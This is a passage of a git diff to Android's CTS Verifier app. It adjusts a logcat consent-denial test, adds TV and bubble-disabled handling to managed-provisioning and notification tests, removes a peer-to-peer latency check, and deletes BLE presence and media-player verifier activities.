BufferedReader(new InputStreamReader(logcat.getInputStream())); + assertNotNull(reader); + + String current; + int lineCount = 0; + while ((current = reader.readLine()) != null + && current.matches(sLogCatUidFilterRegex)) { + lineCount++; + } - public void run() { - BufferedReader reader = null; - try { - java.lang.Process logcat = new ProcessBuilder( - Arrays.asList("logcat", "-b", "system", "-t", - Integer.toString(NUM_OF_LINES_FG))).start(); - logcat.waitFor(); - - // Merge several logcat streams, and take the last N lines - reader = new BufferedReader(new InputStreamReader(logcat.getInputStream())); - assertNotNull(reader); - - List<String> logcatOutput = new ArrayList<>(); - String current; - int lineCount = 0; - while ((current = reader.readLine()) != null) { - logcatOutput.add(current); - lineCount++; - } + Log.d(TAG, "Logcat system deny line count:" + lineCount); - Log.d(TAG, "Logcat system deny line count:" + lineCount); + mLastLogAccess = SystemClock.elapsedRealtime(); - mLastLogAccess = SystemClock.elapsedRealtime(); - - try { - assertTrue("Deny System log access", lineCount == NUM_OF_LINES_BG); - } catch (AssertionError e) { - fail("User Consent Deny Testing failed"); - } + try { + assertTrue("Deny System log access", lineCount == NUM_OF_LINES_BG); - } catch (Exception e) { - Log.e(TAG, "User Consent Testing failed"); - } finally { - try { - if (reader != null) { - reader.close(); - } - } catch (IOException e) { - Log.d(TAG, "Could not close reader: " + e.getMessage()); + runOnUiThread(() -> + Toast.makeText(this, "User Consent Deny Testing passed", + Toast.LENGTH_LONG).show()); + } catch (AssertionError e) { + fail("User Consent Deny Testing failed"); + } + } catch (Exception e) { + Log.e(TAG, "User Consent Testing failed"); + } finally { + try { + if (reader != null) { + reader.close(); } + } catch (IOException e) { + Log.d(TAG, "Could not close reader: " + e.getMessage()); } } }); diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java index d23d43b78f2..42ad218ffb1 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java @@ -116,7 +116,7 @@ public class ByodFlowTestActivity extends DialogTestListActivity { private TestListItem mDisableLocationModeThroughMainSwitchTest; private TestListItem mDisableLocationModeThroughWorkSwitchTest; private TestListItem mPrimaryLocationWhenWorkDisabledTest; - private DialogTestListItem mSelectWorkChallenge; + //private DialogTestListItem mSelectWorkChallenge; private DialogTestListItem mConfirmWorkCredentials; private DialogTestListItem mPatternWorkChallenge; private DialogTestListItem mParentProfilePassword; @@ -472,12 +472,13 @@ public class ByodFlowTestActivity extends DialogTestListActivity { R.string.profile_owner_permission_lockdown_test_info, permissionCheckIntent); + /* Disable due to b/241498104 mSelectWorkChallenge = new DialogTestListItem(this, R.string.provisioning_byod_select_work_challenge, "BYOD_SelectWorkChallenge", R.string.provisioning_byod_select_work_challenge_description, new Intent(ByodHelperActivity.ACTION_TEST_SELECT_WORK_CHALLENGE)); - + */ mRecentsTest = TestListItem.newTest(this, R.string.provisioning_byod_recents, RecentsRedactionActivity.class.getName(), @@ -560,7 +561,7 @@ public class ByodFlowTestActivity extends DialogTestListActivity { adapter.add(mVpnTest); adapter.add(mAlwaysOnVpnSettingsTest); adapter.add(mTurnOffWorkFeaturesTest); - adapter.add(mSelectWorkChallenge); + //adapter.add(mSelectWorkChallenge); if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) { adapter.add(mConfirmWorkCredentials); adapter.add(mPatternWorkChallenge); diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java index cdca014691d..1110b0f33e0 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java @@ -96,6 +96,8 @@ public class DeviceOwnerPositiveTestActivity extends PassFailButtons.TestListAct private static final String DISALLOW_ADD_WIFI_CONFIG_ID = "DISALLOW_ADD_WIFI_CONFIG"; private static final String WIFI_SECURITY_LEVEL_RESTRICTION_ID = "WIFI_SECURITY_LEVEL_RESTRICTION"; + private static final String ACTION_CONNECT_INPUT = + "com.google.android.intent.action.CONNECT_INPUT"; @Override protected void onCreate(Bundle savedInstanceState) { @@ -401,7 +403,8 @@ public class DeviceOwnerPositiveTestActivity extends PassFailButtons.TestListAct UserManager.DISALLOW_CONFIG_BLUETOOTH, true)), new ButtonInfo( R.string.device_owner_settings_go, - new Intent(Settings.ACTION_BLUETOOTH_SETTINGS)), + new Intent(Utils.isTV(this) ? ACTION_CONNECT_INPUT + : Settings.ACTION_BLUETOOTH_SETTINGS)), new ButtonInfo( R.string.device_owner_user_restriction_unset, CommandReceiverActivity.createSetCurrentUserRestrictionIntent( @@ -410,7 +413,7 @@ public class DeviceOwnerPositiveTestActivity extends PassFailButtons.TestListAct } // DISALLOW_USB_FILE_TRANSFER - if (FeatureUtil.isUsbFileTransferSupported(this)) { + if (FeatureUtil.isUsbFileTransferSupported(this) && !Utils.isTV(this)) { adapter.add(createInteractiveTestItem(this, DISALLOW_USB_FILE_TRANSFER_ID, R.string.device_owner_disallow_usb_file_transfer_test, R.string.device_owner_disallow_usb_file_transfer_test_info, @@ -467,7 +470,7 @@ public class DeviceOwnerPositiveTestActivity extends PassFailButtons.TestListAct // setLockTaskFeatures // TODO(b/189282625): replace FEATURE_WATCH with a more specific feature - if (!packageManager.hasSystemFeature(PackageManager.FEATURE_WATCH)) { + if (!packageManager.hasSystemFeature(PackageManager.FEATURE_WATCH) && !Utils.isTV(this)) { final Intent lockTaskUiTestIntent = new Intent(this, LockTaskUiTestActivity.class); lockTaskUiTestIntent.putExtra(LockTaskUiTestActivity.EXTRA_TEST_ID, LOCK_TASK_UI_TEST_ID); @@ -676,7 +679,8 @@ public class DeviceOwnerPositiveTestActivity extends PassFailButtons.TestListAct // removeDeviceOwner adapter.add(createInteractiveTestItem(this, REMOVE_DEVICE_OWNER_TEST_ID, R.string.device_owner_remove_device_owner_test, - R.string.device_owner_remove_device_owner_test_info, + Utils.isTV(this) ? R.string.device_owner_remove_device_owner_test_info_on_tv + : R.string.device_owner_remove_device_owner_test_info, new ButtonInfo( R.string.remove_device_owner_button, createTearDownIntent()))); diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerRequestingBugreportTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerRequestingBugreportTestActivity.java index 4a4eae4f76f..40eefea2d7b 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerRequestingBugreportTestActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerRequestingBugreportTestActivity.java @@ -240,7 +240,8 @@ public class DeviceOwnerRequestingBugreportTestActivity extends PassFailButtons. // removeDeviceOwner adapter.add(createInteractiveTestItem(this, REMOVE_DEVICE_OWNER_TEST_ID, R.string.device_owner_remove_device_owner_test, - R.string.device_owner_remove_device_owner_test_info, + Utils.isTV(this) ? R.string.device_owner_remove_device_owner_test_info_on_tv + : R.string.device_owner_remove_device_owner_test_info, new ButtonInfo( R.string.remove_device_owner_button, createTearDownIntent()))); diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/Utils.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/Utils.java index 5fad20c2a7d..d8b659ef20e 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/Utils.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/Utils.java @@ -158,4 +158,9 @@ public class Utils { return context.getPackageManager().hasSystemFeature( PackageManager.FEATURE_SECURE_LOCK_SCREEN); } + + static boolean isTV(Context context) { + return context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK) + || context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_TELEVISION); + } } diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java index 8acfcd5545e..80aab50a28b 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java @@ -20,6 +20,8 @@ import static android.app.NotificationManager.BUBBLE_PREFERENCE_NONE; import static android.app.NotificationManager.BUBBLE_PREFERENCE_SELECTED; import static android.app.NotificationManager.IMPORTANCE_DEFAULT; import static android.content.Intent.ACTION_VIEW; +import static android.content.pm.PackageManager.FEATURE_INPUT_METHODS; +import static android.content.pm.PackageManager.FEATURE_PC; import static android.view.View.GONE; import static android.view.View.INVISIBLE; import static android.view.View.VISIBLE; @@ -42,6 +44,7 @@ import android.content.Context; import android.content.Intent; import android.content.pm.ShortcutInfo; import android.content.pm.ShortcutManager; +import android.content.res.Resources; import android.graphics.Color; import android.graphics.Insets; import android.graphics.drawable.Icon; @@ -90,6 +93,7 @@ public class BubblesVerifierActivity extends PassFailButtons.Activity { private int mCurrentTestIndex = -1; // gets incremented first time private int mStepFailureCount = 0; private boolean mShowingSummary = false; + private boolean mSupportsBubble = false; private Handler mHandler = new Handler(); private Runnable mRunnable; @@ -147,9 +151,20 @@ public class BubblesVerifierActivity extends PassFailButtons.Activity { }); ActivityManager am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE); + + try { + mSupportsBubble = getResources().getBoolean(getResources().getIdentifier( + "config_supportsBubble", "bool", "android")); + } catch (Resources.NotFoundException e) { + // Assume device does not support bubble, no need to do anything. + } + if (am.isLowRamDevice()) { // Bubbles don't occur on low ram, instead they just show as notifs so test that mTests.add(new LowRamBubbleTest()); + } else if (!mSupportsBubble) { + // Bubbles don't occur on bubble disabled devices, only test notifications. + mTests.add(new BubbleDisabledTest()); } else { // // Behavior around settings at the device level and on the app settings page. @@ -183,9 +198,14 @@ public class BubblesVerifierActivity extends PassFailButtons.Activity { // // Expanded view appearance // - mTests.add(new PortraitAndLandscape()); + // At the moment, PC devices do not support rotation + if (!getPackageManager().hasSystemFeature(FEATURE_PC)) { + mTests.add(new PortraitAndLandscape()); + } mTests.add(new ScrimBehindExpandedView()); - mTests.add(new ImeInsetsExpandedView()); + if (getPackageManager().hasSystemFeature(FEATURE_INPUT_METHODS)) { + mTests.add(new ImeInsetsExpandedView()); + } mTests.add(new MinHeightExpandedView()); mTests.add(new MaxHeightExpandedView()); } @@ -963,6 +983,31 @@ public class BubblesVerifierActivity extends PassFailButtons.Activity { } } + private class BubbleDisabledTest extends BubblesTestStep { + @Override + public int getTestTitle() { + return R.string.bubbles_test_disable_config_title; + } + + @Override + public int getTestDescription() { + return R.string.bubbles_test_disable_config_verify; + } + + @Override + public int getButtonText() { + return R.string.bubbles_test_disable_config_button; + } + + @Override + public void performTestAction() { + Notification.Builder builder = getConversationNotif(getTestTitle()); + builder.setBubbleMetadata(getBubbleBuilder().build()); + + mNotificationManager.notify(NOTIFICATION_ID, builder.build()); + } + } + /** Creates a shortcut to use for the notifications to be considered conversations */ private void createShortcuts() { mShortcuts.clear(); diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MediaPlayerVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MediaPlayerVerifierActivity.java deleted file mode 100644 index c2208d4bdce..00000000000 --- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MediaPlayerVerifierActivity.java +++ /dev/null @@ -1,163 +0,0 @@ -/* - * Copyright (C) 2022 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.android.cts.verifier.notifications; - -import android.app.Notification; -import android.app.NotificationChannel; -import android.app.NotificationManager; -import android.graphics.Bitmap; -import android.graphics.Canvas; -import android.graphics.Color; -import android.media.MediaMetadata; -import android.media.session.MediaSession; -import android.media.session.PlaybackState; -import android.view.View; -import android.view.ViewGroup; - -import com.android.cts.verifier.R; - -import java.util.ArrayList; -import java.util.List; - -/** - * Tests for media player shown in shade when media style notification is posted. - */ -public class MediaPlayerVerifierActivity extends InteractiveVerifierActivity { - - // Media session info - private static final String SESSION_KEY = "Session"; - private static final String SESSION_TITLE = "Song"; - private static final String SESSION_ARTIST = "Artist"; - private static final long SESSION_DURATION = 60000L; - - // MediaStyle notification info - private static final String TITLE = "Media-style Notification"; - private static final String TEXT = "Notification for a test media session"; - private static final String CHANNEL_ID = "MediaPlayerVerifierActivity"; - - private MediaSession mSession; - private NotificationManager mManager; - private Notification.Builder mBuilder; - - @Override - public List<InteractiveTestCase> createTestItems() { - List<InteractiveTestCase> cases = new ArrayList<>(); - cases.add(new MediaPlayerTestCase(R.string.media_controls_visible)); - cases.add(new MediaPlayerTestCase(R.string.media_controls_output_switcher_chip)); - return cases; - } - - @Override - public int getInstructionsResource() { - return R.string.media_controls_info; - } - - @Override - public int getTitleResource() { - return R.string.media_controls_title; - } - - private class MediaPlayerTestCase extends InteractiveTestCase { - private final int mDescriptionResId; - - MediaPlayerTestCase(int resId) { - mDescriptionResId = resId; - } - - @Override - protected void setUp() { - postMediaStyleNotification(); - status = READY; - } - - @Override - protected void tearDown() { - cancelMediaStyleNotification(); - } - - @Override - protected View inflate(ViewGroup parent) { - return createPassFailItem(parent, mDescriptionResId); - } - - @Override - protected void test() { - status = WAIT_FOR_USER; - next(); - } - } - - private void postMediaStyleNotification() { - mManager = this.getSystemService(NotificationManager.class); - mSession = new MediaSession(this, SESSION_KEY); - - // Create a solid color bitmap to use as album art in media metadata - Bitmap bitmap = Bitmap.createBitmap(300, 300, Bitmap.Config.ARGB_8888); - new Canvas(bitmap).drawColor(Color.GREEN); - - // Set up media session with metadata and playback state - mSession.setMetadata(new MediaMetadata.Builder() - .putString(MediaMetadata.METADATA_KEY_ARTIST, SESSION_ARTIST) - .putString(MediaMetadata.METADATA_KEY_TITLE, SESSION_TITLE) - .putLong(MediaMetadata.METADATA_KEY_DURATION, SESSION_DURATION) - .putBitmap(MediaMetadata.METADATA_KEY_ALBUM_ART, bitmap) - .build()); - mSession.setPlaybackState(new PlaybackState.Builder() - .setState(PlaybackState.STATE_PAUSED, 6000L, 1f) - .setActions(PlaybackState.ACTION_SEEK_TO - | PlaybackState.ACTION_PLAY - | PlaybackState.ACTION_PAUSE - | PlaybackState.ACTION_SKIP_TO_PREVIOUS - | PlaybackState.ACTION_SKIP_TO_NEXT) - .addCustomAction("rewind", "rewind", android.R.drawable.ic_media_rew) - .addCustomAction("fast forward", "fast forward", android.R.drawable.ic_media_ff) - .build()); - - // Set up notification builder - NotificationChannel channel = new NotificationChannel(CHANNEL_ID, CHANNEL_ID, - NotificationManager.IMPORTANCE_LOW); - mManager.createNotificationChannel(channel); - mBuilder = new Notification.Builder(this, CHANNEL_ID) - .setContentTitle(TITLE).setContentText(TEXT) - .setSmallIcon(R.drawable.ic_android) - .setStyle(new Notification.MediaStyle() - .setShowActionsInCompactView(1, 2, 3) - .setMediaSession(mSession.getSessionToken())) - .setColor(Color.BLUE) - .setColorized(true) - .addAction(android.R.drawable.ic_media_rew, "rewind", null) - .addAction(android.R.drawable.ic_media_previous, "previous track", null) - .addAction(android.R.drawable.ic_media_play, "play", null) - .addAction(android.R.drawable.ic_media_next, "next track", null) - .addAction(android.R.drawable.ic_media_ff, "fast forward", null); - - mSession.setActive(true); - mManager.notify(1, mBuilder.build()); - } - - private void cancelMediaStyleNotification() { - if (mSession != null) { - mSession.release(); - mSession = null; - } - if (mManager != null) { - mManager.cancelAll(); - mManager.deleteNotificationChannel(CHANNEL_ID); - mManager = null; - } - } -} diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/ConnectReqTestCase.java b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/ConnectReqTestCase.java index f0c62c4a14c..20ce5ac4fd8 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/ConnectReqTestCase.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/ConnectReqTestCase.java @@ -23,9 +23,7 @@ import android.net.wifi.p2p.WifiP2pDevice; import android.net.wifi.p2p.WifiP2pGroup; import android.net.wifi.p2p.WifiP2pInfo; import android.net.wifi.p2p.WifiP2pManager; -import android.os.Build; -import com.android.compatibility.common.util.PropertyUtil; import com.android.cts.verifier.R; import java.lang.reflect.Method; @@ -189,11 +187,21 @@ public abstract class ConnectReqTestCase extends ReqTestCase { * @throws InterruptedException */ protected boolean connectTest(WifiP2pConfig config) throws InterruptedException { + notifyTestMsg(R.string.p2p_searching_target); + + /* + * Search target device and check its capability. + */ ActionListenerTest actionListener = new ActionListenerTest(); + mP2pMgr.discoverPeers(mChannel, actionListener); + if (!actionListener.check(ActionListenerTest.SUCCESS, TIMEOUT)) { + mReason = mContext.getString(R.string.p2p_discover_peers_error); + return false; + } + /* * Try to connect the target device. */ - long startTime = System.currentTimeMillis(); mP2pMgr.connect(mChannel, config, actionListener); if (!actionListener.check(ActionListenerTest.SUCCESS, TIMEOUT)) { mReason = mContext.getString(R.string.p2p_connect_error); @@ -216,15 +224,6 @@ public abstract class ConnectReqTestCase extends ReqTestCase { WifiP2pGroup group = mReceiverTest.getWifiP2pGroup(); if (group != null) { if (!group.isGroupOwner()) { - long endTime = System.currentTimeMillis(); - long connectionLatency = endTime - startTime; - if (PropertyUtil.isVndkApiLevelAtLeast(Build.VERSION_CODES.TIRAMISU) - && connectionLatency - > MAXIMUM_EXPECTED_CONNECTION_LATENCY_WITH_CONFIG_MS) { - mReason = mContext.getString(R.string.p2p_connection_latency_error, - MAXIMUM_EXPECTED_CONNECTION_LATENCY_WITH_CONFIG_MS, connectionLatency); - return false; - } setTargetAddress(group.getOwner().deviceAddress); } else { mReason = mContext.getString(R.string.p2p_connection_error); diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/TestCase.java b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/TestCase.java index 2117419f7bb..7f608c5bcf7 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/TestCase.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/TestCase.java @@ -44,7 +44,6 @@ public abstract class TestCase { protected static final int TIMEOUT = 25000; protected static final int TIMEOUT_FOR_USER_ACTION = 60000; - protected static final int MAXIMUM_EXPECTED_CONNECTION_LATENCY_WITH_CONFIG_MS = 1500; protected static final int SUCCESS = 0; protected Context mContext; diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRssiPrecisionActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRssiPrecisionActivity.java deleted file mode 100644 index 1548910093a..00000000000 --- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRssiPrecisionActivity.java +++ /dev/null @@ -1,113 +0,0 @@ -/* - * Copyright (C) 2011 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.android.cts.verifier.presence; - -import android.app.AlertDialog; -import android.bluetooth.BluetoothAdapter; -import android.content.pm.PackageManager; -import android.os.Bundle; -import android.text.Editable; -import android.util.Log; -import android.widget.EditText; - -import com.android.compatibility.common.util.ResultType; -import com.android.compatibility.common.util.ResultUnit; -import com.android.cts.verifier.PassFailButtons; -import com.android.cts.verifier.R; - -/** Tests the precision of the device's RSSI measurement wtfdelet */ -public class BleRssiPrecisionActivity extends PassFailButtons.Activity { - private static final String TAG = BleRssiPrecisionActivity.class.getName(); - - // Report log schema - private static final String KEY_RSSI_RANGE_DBM = "rssi_range_dbm"; - private static final String KEY_REFERENCE_DEVICE = "reference_device"; - - // Thresholds - private static final int MAX_RSSI_RANGE_DBM = 18; - - private EditText reportRssiRangeEditText; - private EditText reportReferenceDeviceEditText; - - @Override - protected void onCreate(Bundle savedInstanceState) { - super.onCreate(savedInstanceState); - setContentView(R.layout.ble_rssi_precision); - setPassFailButtonClickListeners(); - getPassButton().setEnabled(false); - - reportRssiRangeEditText = findViewById(R.id.report_rssi_range); - reportReferenceDeviceEditText = findViewById(R.id.report_reference_device); - - DeviceFeatureChecker.checkFeatureSupported(this, getPassButton(), - PackageManager.FEATURE_BLUETOOTH_LE); - - BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter(); - - if (!adapter.isEnabled()) { - new AlertDialog.Builder(this) - .setTitle(R.string.ble_bluetooth_disable_title) - .setMessage(R.string.ble_bluetooth_disable_message) - .setOnCancelListener(dialog -> finish()) - .create().show(); - } - - reportRssiRangeEditText.addTextChangedListener( - InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs())); - reportReferenceDeviceEditText.addTextChangedListener( - InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs())); - } - - private void checkTestInputs() { - getPassButton().setEnabled(checkDistanceRangeInput() && checkReferenceDeviceInput()); - } - - private boolean checkDistanceRangeInput() { - String rssiRangeInput = reportRssiRangeEditText.getText().toString(); - - if (!rssiRangeInput.isEmpty()) { - int rssiRange = Integer.parseInt(rssiRangeInput); - // RSSI range must be inputted and within acceptable range before test can be passed - return rssiRange <= MAX_RSSI_RANGE_DBM; - } - return false; - } - - private boolean checkReferenceDeviceInput() { - // Reference device must be inputted before test can be passed - return !reportReferenceDeviceEditText.getText().toString().isEmpty(); - } - - @Override - public void recordTestResults() { - String rssiRange = reportRssiRangeEditText.getText().toString(); - String referenceDevice = reportReferenceDeviceEditText.getText().toString(); - - if (!rssiRange.isEmpty()) { - Log.i(TAG, "BLE RSSI Range (dBm): " + rssiRange); - getReportLog().addValue(KEY_RSSI_RANGE_DBM, Integer.parseInt(rssiRange), - ResultType.NEUTRAL, ResultUnit.NONE); - } - - if (!referenceDevice.isEmpty()) { - Log.i(TAG, "BLE Reference Device: " + referenceDevice); - getReportLog().addValue(KEY_REFERENCE_DEVICE, referenceDevice, - ResultType.NEUTRAL, ResultUnit.NONE); - } - getReportLog().submit(); - } -} diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRxTxCalibrationActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRxTxCalibrationActivity.java deleted file mode 100644 index 2de7edffe7c..00000000000 --- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRxTxCalibrationActivity.java +++ /dev/null @@ -1,140 +0,0 @@ -/* - * Copyright (C) 2011 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.android.cts.verifier.presence; - -import android.app.AlertDialog; -import android.bluetooth.BluetoothAdapter; -import android.content.pm.PackageManager; -import android.os.Bundle; -import android.text.Editable; -import android.util.Log; -import android.widget.EditText; - -import com.android.compatibility.common.util.ResultType; -import com.android.compatibility.common.util.ResultUnit; -import com.android.cts.verifier.PassFailButtons; -import com.android.cts.verifier.R; - -/** - * Tests that the device's Rx/Tx calibration results in a median range (cm) within the specified - * bounds - */ -public class BleRxTxCalibrationActivity extends PassFailButtons.Activity { - private static final String TAG = BleRxTxCalibrationActivity.class.getName(); - - // Report log schema - private static final String KEY_CHANNEL_RSSI_RANGE = "channel_rssi_range"; - private static final String KEY_CORE_RSSI_RANGE = "core_rssi_range"; - private static final String KEY_REFERENCE_DEVICE = "reference_device"; - - // Thresholds - private static final int MAX_RSSI_RANGE = 6; - - private EditText reportChannelsRssiRangeEditText; - private EditText reportCoresRssiRangeEditText; - private EditText reportReferenceDeviceEditText; - - @Override - protected void onCreate(Bundle savedInstanceState) { - super.onCreate(savedInstanceState); - setContentView(R.layout.ble_rx_tx_calibration); - setPassFailButtonClickListeners(); - getPassButton().setEnabled(false); - - reportChannelsRssiRangeEditText = findViewById(R.id.report_channels_rssi_range); - reportCoresRssiRangeEditText = findViewById(R.id.report_cores_rssi_range); - reportReferenceDeviceEditText = findViewById(R.id.report_reference_device); - - DeviceFeatureChecker.checkFeatureSupported(this, getPassButton(), - PackageManager.FEATURE_BLUETOOTH_LE); - - BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter(); - - if (!adapter.isEnabled()) { - new AlertDialog.Builder(this) - .setTitle(R.string.ble_bluetooth_disable_title) - .setMessage(R.string.ble_bluetooth_disable_message) - .setOnCancelListener(dialog -> finish()) - .create().show(); - } - - reportChannelsRssiRangeEditText.addTextChangedListener( - InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs())); - reportCoresRssiRangeEditText.addTextChangedListener( - InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs())); - reportReferenceDeviceEditText.addTextChangedListener( - InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs())); - } - - private void checkTestInputs() { - getPassButton().setEnabled( - checkChannelRssiInput() && checkCoreRssiInput() && checkReferenceDeviceInput()); - } - - private boolean checkChannelRssiInput() { - String channelsRssiRangeInput = reportChannelsRssiRangeEditText.getText().toString(); - if (!channelsRssiRangeInput.isEmpty()) { - int channelsRssiRange = Integer.parseInt(channelsRssiRangeInput); - // RSSI range must be inputted and within acceptable range before test can be passed - return channelsRssiRange <= MAX_RSSI_RANGE; - } - return false; - } - - private boolean checkCoreRssiInput() { - String coresRssiRangeInput = reportCoresRssiRangeEditText.getText().toString(); - if (!coresRssiRangeInput.isEmpty()) { - int coresRssiRange = Integer.parseInt(coresRssiRangeInput); - // RSSI range must be inputted and within acceptable range before test can be passed - return coresRssiRange <= MAX_RSSI_RANGE; - } - // This field is optional, so return true even if the user has not inputted anything - return true; - } - - private boolean checkReferenceDeviceInput() { - // Reference device must be inputted before test can be passed - return !reportReferenceDeviceEditText.getText().toString().isEmpty(); - } - - @Override - public void recordTestResults() { - String channelRssiRange = reportChannelsRssiRangeEditText.getText().toString(); - String coreRssiRange = reportCoresRssiRangeEditText.getText().toString(); - String referenceDevice = reportReferenceDeviceEditText.getText().toString(); - - if (!channelRssiRange.isEmpty()) { - Log.i(TAG, "BLE RSSI Range Across Channels (dBm): " + channelRssiRange); - getReportLog().addValue(KEY_CHANNEL_RSSI_RANGE, Integer.parseInt(channelRssiRange), - ResultType.NEUTRAL, ResultUnit.NONE); - } - - if (!coreRssiRange.isEmpty()) { - Log.i(TAG, "BLE RSSI Range Across Cores (dBm): " + coreRssiRange); - getReportLog().addValue(KEY_CORE_RSSI_RANGE, Integer.parseInt(coreRssiRange), - ResultType.NEUTRAL, ResultUnit.NONE); - } - - if (!referenceDevice.isEmpty()) { - Log.i(TAG, "BLE Reference Device: " + referenceDevice); - getReportLog().addValue(KEY_REFERENCE_DEVICE, referenceDevice, - ResultType.NEUTRAL, ResultUnit.NONE); - } - - getReportLog().submit(); - } -} diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/DeviceFeatureChecker.java b/apps/CtsVerifier/src/com/android/cts/verifier/presence/DeviceFeatureChecker.java deleted file mode 100644 index 256fe3a078d..00000000000 --- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/DeviceFeatureChecker.java +++ /dev/null @@ -1,44 +0,0 @@ -/* - * Copyright (C) 2022 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.android.cts.verifier.presence; -import android.app.Activity; -import android.content.Context; -import android.util.Log; -import android.view.View; -import android.widget.Toast; - -/** - * Checks if a device supports a hardware feature needed for a test, and passes the test - * automatically otherwise. - */ -public class DeviceFeatureChecker { - - /** Checks if a feature is supported. - * - * @param feature must be a string defined in PackageManager - */ - public static void checkFeatureSupported(Context context, View passButton, String feature) { - if (!context.getPackageManager().hasSystemFeature(feature)) { - String message = String.format("Device does not support %s, automatically passing test", - feature); - Toast.makeText(context, message, Toast.LENGTH_SHORT).show(); - Log.e(context.getClass().getName(), message); - passButton.performClick(); - Activity activity = (Activity) (context); - activity.finish(); - } - } -} diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/InputTextHandler.java b/apps/CtsVerifier/src/com/android/cts/verifier/presence/InputTextHandler.java deleted file mode 100644 index 2de68a5a78e..00000000000 --- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/InputTextHandler.java +++ /dev/null @@ -1,52 +0,0 @@ -/* - * Copyright (C) 2022 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the 